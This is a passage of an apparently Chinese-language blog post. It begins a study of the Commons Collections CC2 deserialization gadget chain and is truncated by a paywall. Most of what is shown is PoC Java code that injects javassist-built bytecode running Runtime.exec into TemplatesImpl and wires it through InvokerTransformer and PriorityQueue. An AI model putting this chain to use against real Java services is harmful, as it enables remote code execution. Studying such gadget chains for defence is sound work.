
说是白痴上帝视角的原因在于我们拿到了poc,模拟不知道任何细节,去分析这个漏洞的形成原因。也可以说半黑盒状态,主要是锻炼一下分析能力。CC1的分析已经在之前的文章发过了。主要是拿来入门的,现在我们分析一下CC2.这篇文章也是重构,很早之前分析了一次,但是当时水平比现在还低,所以很多地方还不够清楚。现在重新分析一下。需要涉及到以下的知识点
javassist动态编程(主要是字节码修改操作,把他可以看成一个加强版的反射)
本来开始直接跟着poc调的,poc不是特别的友好,很多地方不清楚,那我们还是借助poc逆向来分析吧。
poc
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("e0mlja");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
Field field2=queue.getClass().ge

最低0.47元/天 解锁文章

被折叠的 条评论
为什么被折叠?



